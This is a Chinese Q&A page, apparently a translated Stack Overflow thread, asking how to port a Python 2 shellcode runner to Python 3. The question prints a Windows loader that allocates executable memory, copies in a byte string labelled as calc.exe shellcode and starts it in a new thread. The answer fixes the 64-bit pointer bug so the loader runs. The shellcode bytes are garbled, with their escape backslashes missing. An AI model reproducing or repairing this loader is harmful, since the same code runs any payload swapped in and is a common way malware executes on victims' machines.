如何在python 3中运行shellcode?

Question

我正在尝试在python中运行shellcode，并具有以下工作python2代码，但是我需要将其转换为python3。我修复了所有语法错误(只是缺少字节数组的编码(，它只是给了我访问违规写入(地址(

import ctypes
import sys
#calc.exe
sc = ("xdbxc3xd9x74x24xf4xbexe8x5ax27x13x5fx31xc9" 
"xb1x33x31x77x17x83xc7x04x03x9fx49xc5xe6xa3" 
"x86x80x09x5bx57xf3x80xbex66x21xf6xcbxdbxf5" 
"x7cx99xd7x7exd0x09x63xf2xfdx3exc4xb9xdbx71" 
"xd5x0fxe4xddx15x11x98x1fx4axf1xa1xd0x9fxf0" 
"xe6x0cx6fxa0xbfx5bxc2x55xcbx19xdfx54x1bx16" 
"x5fx2fx1exe8x14x85x21x38x84x92x6axa0xaexfd" 
"x4axd1x63x1exb6x98x08xd5x4cx1bxd9x27xacx2a" 
"x25xebx93x83xa8xf5xd4x23x53x80x2ex50xeex93" 
"xf4x2bx34x11xe9x8bxbfx81xc9x2ax13x57x99x20" 
"xd8x13xc5x24xdfxf0x7dx50x54xf7x51xd1x2exdc" 
"x75xbaxf5x7dx2fx66x5bx81x2fxcex04x27x3bxfc" 
"x51x51x66x6axa7xd3x1cxd3xa7xebx1ex73xc0xda" 
"x95x1cx97xe2x7fx59x67xa9x22xcbxe0x74xb7x4e" 
"x6dx87x6dx8cx88x04x84x6cx6fx14xedx69x2bx92" 
"x1dx03x24x77x22xb0x45x52x41x57xd6x3exa8xf2" 
"x5exa4xb4")

shellcode=bytearray(sc,'utf-8')
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

编辑：添加了错误日志

$ python .sad.py
Traceback (most recent call last):
File ".sad.py", line 34, in <module>
ctypes.c_int(len(shellcode)))
OSError: exception: access violation writing 0x0000000043750000

Answer 1

使用参数ctypes.c_int(ptr)调用RtlMoveMemory时出现错误。

ctypes是一个外部函数库和一个 FFI(外部函数接口(，因为Virtualalloc不是原型，您必须自己做。C FFI 的整数的默认行为(在参数和结果上(是将整数转换为c_int，这在 Windows 上是c_long的别名，一个有符号的 32 位整数。但是现在，我们有64位系统，带有64位地址存储器，如果存储器地址太高，则无法存储在4字节上。因此，您需要使用处理 64 位的类型显式设置VirtualAlloc的结果类型：

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))

然后RtlMoveMemory期望在VirtualAlloc返回的地址上有一个指针：

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr),
buf,
ctypes.c_int(len(shellcode)))